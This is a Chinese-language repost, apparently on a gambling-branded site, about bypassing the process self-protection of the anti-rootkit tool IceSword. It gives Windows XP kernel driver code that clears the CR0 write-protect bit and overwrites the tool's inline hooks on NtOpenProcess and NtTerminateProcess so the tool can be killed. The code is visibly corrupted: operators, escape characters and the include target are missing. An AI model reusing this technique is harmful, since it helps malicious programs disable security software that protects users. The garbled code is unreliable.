沐鸣娱乐


        突破IceSword自身的进程保护(转贴系列32)

        突破IceSword自身的进程保护(转贴系列32)

        觉得这篇文章把几个函数的作用和关系理清了 ,转来共享
        IceSword的驱动对其自身进程做了保护,使恶意程序终止不了他。IceSword没有用HOOK SSDT的方法 ,不过也没用什么太BT的方法,而是Inline Hook了NtOpenProcess 、NtTerminateProcess几个函数,即修改函数前5个字节 ,jmp到他自定义处理函数例程里。
        终止采用这类保护方法的进程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函数未导出 ,需要我们自己穷举特征码搜索来定位 ,或者硬编码之 。当然,我们还可以恢复IceSword的Inline hook,还原被IceSword挂钩过的NtOpenProcess、NtTerminateProcess函数,然后在用户态上使用普通的终止进程的方法就可以终止他了。这里给出了第二种方法的具体代码 ,不过由于此篇文章出于科普目的 ,代码就写得马虎点了,仅适用于Windows XP,因为取SSDT对应的函数索引号用的硬编码,说明问题而已 。NtTerminateProcess未导出,大家可以自己改成通过读取 ntdll.dll动态通用的获得索引号的方法,方法网上有公开,需要的人就自己动点手吧 ,呵呵~
        #include
        #define DWORD unsigned long
        unsigned char OldCode[5]=”x68xc4x00x00x00″;
        unsigned char OldCode2[5]=”x8bxffx55x8bxec”;
        #pragma pack(1)
        typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
        } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
        #pragma pack()
        __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
        NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
        {
        DWORD OpAddr,OpAddr2;
        OpAddr=*(KeServiceDescriptorTable.ServiceTableBase 0x7A);
        OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase 0x101);
        _asm
        {
        CLI
        MOV eax, CR0
        AND eax, NOT 10000H
        MOV CR0, eax
        pushad
        mov edi, OpAddr
        mov eax, dword ptr OldCode[0]
        mov [edi], eax
        mov al, byte ptr OldCode[4]
        mov [edi 4], al
        mov edi, OpAddr2
        mov eax, dword ptr OldCode2[0]
        mov [edi], eax
        mov al, byte ptr OldCode2[4]
        mov [edi 4], al
        popad
        MOV eax, CR0
        or eax, 10000H
        MOV CR0, eax
        STI
        }
        return STATUS_SUCCESS;
        }


        相关新闻

        联系我们
        联系我们
        分享本页
        返回顶部

          XML地图